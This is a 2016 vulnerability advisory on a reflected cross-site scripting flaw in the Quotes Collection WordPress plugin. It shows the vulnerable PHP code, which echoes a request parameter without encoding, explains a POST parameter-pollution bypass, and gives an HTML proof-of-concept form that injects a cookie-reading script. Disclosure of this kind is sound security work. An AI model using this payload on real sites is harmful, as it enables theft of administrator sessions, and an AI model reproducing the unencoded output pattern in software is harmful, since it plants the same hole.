Advisory

Yorick Koster, July 2016

Cross-Site Scripting vulnerability in Quotes Collection WordPress Plugin

Abstract

A Cross-Site Scripting vulnerability was found in the Quotes Collection WordPress Plugin. This issue allows an attacker to perform a wide variety of actions, such as stealing Administrators' session tokens, or performing arbitrary actions on their behalf. In order to exploit this issue, the attacker has to lure/force a logged on WordPress Administrator into opening a malicious website.

OVE ID

OVE-20160712-0015

See also

Plugin Vulnerabilities - Reflected Cross-Site Scripting (XSS) Vulnerability in Quotes Collection

Tested versions

This issue was successfully tested on Quotes Collection WordPress Plugin version 2.0.5.

Fix

This issue is resolved in Quotes Collection version 2.0.6.

Introduction

The Quotes Collection WordPress Plugin with Ajax powered Random Quote sidebar widget helps you collect and display your favourite quotes in your WordPress website. A Cross-Site Scripting vulnerability was found in the Quotes Collection WordPress Plugin. This issue allows an attacker to perform a wide variety of actions, such as stealing Administrators' session tokens, or performing arbitrary actions on their behalf. In order to exploit this issue, the attacker has to lure/force a logged on WordPress Administrator into opening a malicious website.

Details

The issue exists in the file class-quotes-collection-admin.php and is caused by the lack of output encoding on the page request parameter. The vulnerable code is listed below.

<form id="quotescollection" method="get">
   <input type="hidden" name="page" value="<?php echo $_REQUEST['page']; ?>" />
   <div class="list-header">
      <?php echo $list_meta; ?>
      <?php $quotes_list_table->search_box( __('Search', 'quotes-collection'), 'quotescollection'); ?>
   </div>
   <?php $quotes_list_table->display(); ?>
</form>

Normally, the page URL parameter is validated by WordPress, which prevents Cross-Site Scripting. However in this case the value of page is obtained from $_REQUEST, not from $_GET. This allows for parameter pollution where the attacker puts a benign page value in the URL and simultaneously submits a malicious page value as POST parameter.

Proof of concept

<html>
   <body>
      <form action="http://<target>/wp-admin/admin.php?page=quotes-collection" method="POST">
         <input type="hidden" name="page" value="&quot;<script>alert(document.cookie);</script>" />
         <input type="submit" value="Submit request" />
      </form>
   </body>
</html>

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